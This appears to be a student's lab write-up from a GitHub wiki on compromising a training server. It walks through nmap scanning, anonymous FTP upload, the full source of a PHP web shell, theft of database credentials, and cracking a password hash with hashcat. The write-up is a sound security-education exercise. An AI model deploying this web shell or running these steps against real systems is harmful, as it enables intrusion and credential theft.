Lab 7.1: Exploiting Pippin - squatchulator/Tech-Journal GitHub Wiki
This lab is aimed at exploiting the server pippin.shire.org (10.0.5.25) using the reconnaissance methods we have covered in previous labs. I had a difficult time finding out how to properly check the hash for Pippin's password, as there was not a lot of resources online specifying how to do this, or how the key was supposed to be formatted in the file. The systems administrator for this box made a few mistakes here that allowed it to be exploited, namely allowing root permissions for somebody SSHing into the box. It would also be hard to tell where FTP server activity is coming from, as the FTP authentication method was set to anonymous.
- Perform an NMAP scan of the open ports on the server using
sudo nmap -sV 10.0.5.25 - In this example, the FTP port was open and running.
- In order to access this, start an FTP connection with
ftp 10.0.5.25. You will be prompted for a username and password. Enteranonymousas the username, and for the password enterguest. - Now that you are in FTP, run a
lsto see what directories are there. You can traverse to a directory, and upload a file in your current local working directory withput <filename>.
- In order to access this, start an FTP connection with
- Create a PHP script in your working directory that contains the following:
<?
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
- FTP into the server again, and
putthe file into the/uploadsfolder. - Execute webshell commands with:
10.0.5.25/upload/<filename.php>?cmd=cat+/etc/passwd
- In the FTP server once you have access, you should see a
LocalSettings.phpfile. This is going to contain information regarding the root username and password for the mediawiki server. - To pull this file, run a
get, hit enter, and type in the name of the file + the local directory you want to copy it to. - You should now be able to log into the
peregrin.tookuser using the$wgDBpasswordfound in the LocalSettings file.
- Access the MySQL database by running:
/bin/mysql -u root -pand entering the password above when prompted. - Run
SHOW DATABASES;, and select themediawikidatabase withUSE mediawiki - Show tables in the database with
SHOW TABLES;and select a table usingSELECT * FROM mediawiki; - You should see a hash for Pippin. Copy this and paste it into a text file called
hash.txton your desktop. Delete everything in it before the hash actually starts (i.e. the parts containing information like:pbkdf2 and :64:) - In a terminal, with a smaller rockyou wordlist from previous labs, run the command
grep -o '\bp[a-zA-Z]*\b' <rockyou list>.txt > pippin_passwords.txtto put all passwords starting with lowercase p into a file. - Now, run hashcat with the command
hashcat -m 12100 hash.txt -w 4 -a 0 pippin_passwords.txt